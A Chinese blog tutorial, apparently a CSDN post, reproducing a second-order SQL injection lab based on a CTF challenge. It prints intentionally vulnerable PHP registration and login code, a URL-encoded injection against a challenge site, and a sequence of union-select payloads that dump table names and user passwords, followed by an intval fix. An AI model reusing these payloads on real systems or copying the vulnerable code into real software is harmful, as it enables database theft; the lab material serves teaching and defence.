• threehit二次注入案例


    一、环境搭建

    本复现源码来源网络,非本人编写。本threehit二次注入参考强网杯的“three hit”,于本地搭建二次注入环境进行案例的复现以及理解二次注入的原理。
    在这里插入图片描述

    本环境基于5个PHP源码来做后端,使用小皮来做环境支撑,使用Nginx以及Apache都可,连接到数据库完成搭建。

    在这里插入图片描述

    1、conn.php源码:

    
         $con = mysqli_connect('localhost','root','123456','test');
         if(!$con){
             die('Cound not connect:'.mysqli_connect_error());
         }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    本文件我们可以看出来是进行数据库连接的源码,首先使用mysqli_connect函数进行连接输入据,后面依次是主机名,这里localhost即为本地,root为数据库用户名,123456为数据库密码,test为连接的数据库名。下面进行判断是否成功连接,如果连接失败,那么输出报错。

    2、register.php源码

    <!DOCTYPE html>
    <html>
    <head>
        <title>注册</title>
        <meta charset="utf-8">
    </head>
    <body>
    <h2 align="center">注册</h2>
    <form action="" method="POST">
        用户名: <input type="text" name="name"><br>
        年龄: <input type="text" name="age"><br>
        密码: <input type="text" name="pwd"><br>
        <input type="submit" name="submit" value="提交">
    </form>
    <?php
        require('conn.php');
        if(isset($_POST['submit'])){
            $user = addslashes(@$_POST['name']);  //addslashes过滤掉单引号等防注入
            $age = addslashes(@$_POST['age']);
            $pwd = addslashes(@$_POST['pwd']);
            $sql = "INSERT INTO user(name,pwd,age) VALUES('".$user."','".$pwd."','".$age."')";
            if($res = mysqli_query($con,$sql)){
                echo "注册成功
    用户名:$user
    年龄:$age
    去登录"
    ; }else{ echo "注册失败"; } } ?> </body> </html>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    前面这串HTML我就不解读了,我们看php代码块,首先引入了conn.php文件,然后进行判断,如果表单提交那么首先获取并过滤用户名、年龄以及密码,然后构建插入用户数据的SQL语句,之后再次进行判断,如果执行成功那么输出注册成功,否则注册失败。

    3、login.php源码

    
    session_start();
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>登录</title>
        <meta charset="utf-8">
    </head>
    <body>
    <h2 align="center">登录</h2>
    <form action="" method="POST">
        用户名: <input type="text" name="name"><br>
        密码: <input type="text" name="pwd"><br>
        <input type="submit" name="submit" value="登录">
    </form>
    <h2>已注册用户:</h2><hr>
    <?php
        require("conn.php");
        $sql = "SELECT * FROM user";
        // 列出已注册用户
        if($res = mysqli_query($con,$sql)){
            while($row = mysqli_fetch_assoc($res)){
                echo "用户名:".$row['name']."
    年龄:"
    .$row['age']."
    "
    ; } } ?> <hr> <?php if(isset($_POST['submit'])){ $name = @$_POST['name']; $pwd = @$_POST['pwd']; $sql = "SELECT * FROM user WHERE name='".$name."' and pwd='".$pwd."'"; // 登录 if($res = mysqli_query($con,$sql)){ if(mysqli_num_rows($res)>0){ $_SESSION['user'] = $name; header("Refresh:0;url=index.php"); }else{ echo '登录失败'; } } } ?> </body> </html>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46

    前面HTML代码就是创建了一个表单,同时设置使用POST方法来提交表单数据。之后PHP部分则为引入conn.php文件来进行连接,然后构造SQL查询语句,执行并将结果取出一行作为关联数组,循环遍历输出已注册用户的用户名以及年龄。接着判断是否点击了提交,如果点击了来进行获取用户输入的用户名以及密码,构造查询语句来进行匹配数据库中的数据,mysqli_num_rows($res)函数来获取查询结果行数是否大于0,如果大于0则表示匹配成功。之后将用户名存储在会话变量中,重定向至index.php页面。

    4、index.php源码

    
        session_start();
        if(!isset($_SESSION['user'])){
            header("Refresh:0;url=login.php");
        }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>首页</title>
        <meta charset="utf-8">
    </head>
    <body>
    <?php
        require('conn.php');
        //显示当前用户信息
        $sql = "SELECT * FROM user WHERE name='".@$_SESSION['user']."'";
        if($res = mysqli_query($con,$sql)){
            while($row = mysqli_fetch_assoc($res)){
                $current_name = $row['name'];
                $current_age = $row['age'];
                echo '当前用户:'.$current_name.'
    年龄:'
    .$current_age; } } echo "

    "
    ; //显示同龄用户 $sql = "SELECT * FROM user WHERE age='".$current_age."' LIMIT 1";// $current_age从数据库取出未经过滤直接拼接SQL语句,从而产生二次注入 if($res = mysqli_query($con,$sql)){ while($row = mysqli_fetch_assoc($res)){ echo '与'.$current_name.'
    同年龄为'
    .$current_age.'的有
    '
    .$row['name']."
    "
    ; } } echo "

    去注册"
    ?> </body> </html>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    首先第一段PHP代码启动了会话,来判断是否存在user的会话变量,如果不存在则用户没有进行登录,则通过header函数将页面重定向到login.php,来实现用户身份验证和重定向功能。中间的HTML没什么意义,我们看第二段PHP部分,引入conn.php文件,构造出一个查询语句来用于从数据库中选择当前登录用户的信息,执行并循环遍历出结果存入$current_name$current_age 变量中。这里我们就会发现$current_age 从数据库中获取之后并没有经过过滤,直接拼接到SQL查询语句中。 接着构造出一个查询语句来用于从数据库中选择与当前用户同龄的第一个用户信息。后面便是执行查询并获取结果集。

    5、demo.php源码

    
    $url = "http://cheaplottery.solveme.peng.kr/index.php?lottery%5BA%5D=1'),('%C3%A0%C4%8F%E1%B9%81%C3%8D%C3%B1_".$a."','$time','1,1,1,1,1'),('%C4%9D%C3%9B%C3%A8%C5%9B%C5%A3_".$a."','$time','1,1,1,1,1')%23&lottery%5BB%5D=&lottery%5BC%5D=&lottery%5BD%5D=&lottery%5BE%5D=";
    $decodedUrl = urldecode($url);
    echo $decodedUrl;
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    这里定义了一个URL字符串,然后调用urldecode() 函数,对 URL 进行解码操作,将其中的百分号编码转换为对应的字符。最后一行代码将解码后的URL输出到页面上。

    二、数据库环境搭建

    这里数据库使用小皮提供的数据库进行测试:
    在这里插入图片描述
    同时我们还需要注意自己去创建数据库以及创建表时需要注意的内容:
    创建数据库简单,这里我们使用create语句直接创建即可,这里创建数据库的名称为test:

    create database test;
    
    • 1

    创建完数据库后,我们创建我们所需要的表,注意列名!!!这里我们参考源码注册时构建的数据库语句即表名的列来进行创建:
    在这里插入图片描述
    这里我们会发现列名分别为:name,pwd,age。
    所以我们创建SQL语句来创建表:

    CREATE TABLE user (
    	name VARCHAR(100),
    	pwd VARCHAR(100),
    	age VARCHAR(200)
    );
    
    • 1
    • 2
    • 3
    • 4
    • 5

    1、注意点一

    这里一定要注意age使用字符型长度为200,一定需要注意,因为这里我们使用联合注入注入表以及列时由于字符长度过于长,所以这里需要注入长度为200,不然会出现我们下面这种情况:
    在这里插入图片描述
    我们可以看到这里报错了,显示数据长度过长我进行了查看:

    ERROR 1406 (22001): Data too long for column 'age' at row 1
    
    • 1

    我查看之后将age字段从varchar(100)改为了varchar(200),使用如下SQL语句:

    ALTER TABLE user MODIFY COLUMN age varchar(200);
    
    • 1

    2、注意点二

    在这里我们将age的字段长度上限进行了更改,我们只是可以进行注册了,但是如果之后登录执行出现问题,我们依旧得进行调整。

    这里是因为本人在首先测试时发现注册之后登录按理说是执行得,但是那里其实执行了,但是报错了,正常情况下不应该产生报错,于是我进行了调试分析:

    ERROR 1271 (HY000): Illegal mix of collations for operation 'UNION'
    
    • 1

    报错内容为以上

    报错原因

    相同字段的编码为 utf8_general_ciutf8_unicode_ci,就会报llegal mix of collations for operation“UNION”的错误。
    由于information_schame.tables中的table_name的编码为 utf8_general_ci,而union前的字段编码为utf8_unicode_ci,导致union前后编码分别为utf8_unicode_ciutf8_general_ci,所以会报改错。
    而database0、version 等函数不会报该错,大概是因为编码不是 utf8_general_ci,所以导致可以查看database0而爆表名是产生报错。
    在这里插入图片描述
    以上便是报错的原因,既然我们知道了报错原因,那么我们进行调整,将编码格式改为utf8_general_ci即可。使用如下SQL语句:

    ALTER TABLE user CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;
    
    • 1

    到这里我们已经将所有的环境搭建完成。

    三、复现过程

    测试用例:

    namepwdage
    user1user11
    user2user21’ and 1=2#
    user3user31’ order by 3#
    user4user41’ order by 4#
    user5user51’ union select 1,2,3#
    user6user61’ union select database(),2,3#
    user7user71’ union select group_concat(table_name),2,3 from information_schema.tables where table_schema=‘test’#
    user8user81’ union select group_concat(column_name),2,3 from information_schema.columns where table_schema=‘test’ and table_name=‘user’#
    user9user91’ union select group_concat(name,0x3a,pwd),2,3 from user#

    1、user1

    首先我们注册一个用户:user1,年龄为1来进行第一步的观察页面的回显:
    在这里插入图片描述
    点击提交进行登录:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    登录成功后我们可以看到有一个同年龄为1的有,进行了一个查询,再从源码中我们可以得知这里并没有进行过滤,所以这里将是我们的注入点。

    2、user2

    下面我们接着去注册,用户为user2,年龄为:

    1' and 1=2#
    
    • 1

    这里首先我们进行闭合,然后使用and连接,1=2按理说它是要报错的,下面我们观察它的登录回显:
    在这里插入图片描述
    在这里插入图片描述
    到这里我们可以清晰的看到这里是进行了过滤了的,将单引号进行了转义,所以这里我们很难完成注入,我们点击登录:
    在这里插入图片描述
    在这里插入图片描述
    这里我们可以看到按道理说报错的但是并没有,其实是让过滤掉了,所以我们无法完成报错注入,同时并没有显示同龄年的信息。

    3、user3

    所以,下面我们去注册user3,来观察同年龄的回显,判断该表有几个字段:

    1' order by 3#
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    这里我们可以看到正常返回了查询之后的内容,所以我们可以得知字段数其实是大于等于3的。

    4、user4

    下面我们继续注册user4来判断字段数是否大于4:

    1' order by 4#
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    我们可以看到这里依旧没有进行显示,所以这里报错过滤了,我们可以得知字段数其实是3。

    5、user5

    得知了字段数,下面我们就需要判断回显在第几列了,所以我们注册user5:

    1' union select 1,2,3#
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    到这里我们便可以看到回显字段其实是在1这个字段,所以下面我们可以使用联合查询来进行注入。

    6、user6-name

    下面我们直接注册user6来获取当前数据库的名称:

    1' union select database(),2,3#
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    我们可以看到这里爆出了数据库的名称即为test。

    7、user7-table

    下面我们自然是使用联合查询注入的思路来进行,爆出表名,注册user7:

    1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='test'#
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    这里我们可以看到表名只有一个,这里大意了,早知道多创建几个表来更好的观察。即为user表。

    8、user8-column

    我们接着爆出其user表中的列名,依旧注册用户user8:

    1' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='test' and table_name='user'#
    
    • 1

    这就是之前要把age字段扩充为varchar(200)的原因。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    这里我们即可将列名注入出来,最后就是爆数据了。

    9、user9-data

    直接注册user9来爆数据:

    1' union select group_concat(name,0x3a,pwd),2,3 from user#
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    到这里我们即可将所有的数据注入出来。

    四、预防手段

    这里预防手段有很多,其中最简单的便是在注册时没有对age进行过滤,所以我们只需在注册时做好过滤即可,也就避免了问题的产生。
    我们可以利用强转,毕竟是年龄,所以我们可以使用intval转换为整型,也就使其无法完成闭合从而达到预防。

    $age = intval(@$_POST['age']);
    
    • 1

    在这里插入图片描述
    下面我们可以进行尝试:
    直接使用user10,然后使用最终的注入数据的payload尝试:

    1' union select group_concat(name,0x3a,pwd),2,3 from user#
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    我们可以看到此时已经完成了防御。
    二次注入可以理解为先将恶意数据插入到数据库,之后服务器从数据库取出恶意数据,未经过滤就直接拼接SQL语句进行查询而导致的漏洞。

  • 相关阅读:
    运维累了:该故障自愈出场了
    方案 | 医疗单据OCR识别,为医保零星报销打造安全屏障
    MongoDB入门级别教程全(Windows版,保姆级教程)
    Floyd 算法
    Html-盒子模型
    JavaSE——方法、递归
    vcruntime140_1.dll是什么?下载及修复方法分享
    什么是内存泄漏?JavaScript 垃圾回收机制原理及方式有哪些?哪些操作会造成内存泄漏?
    哈希的模拟实现和封装unorder_map和unorder_set
    路由模式:hash和history模式
  • 原文地址:https://blog.csdn.net/weixin_63172698/article/details/136334048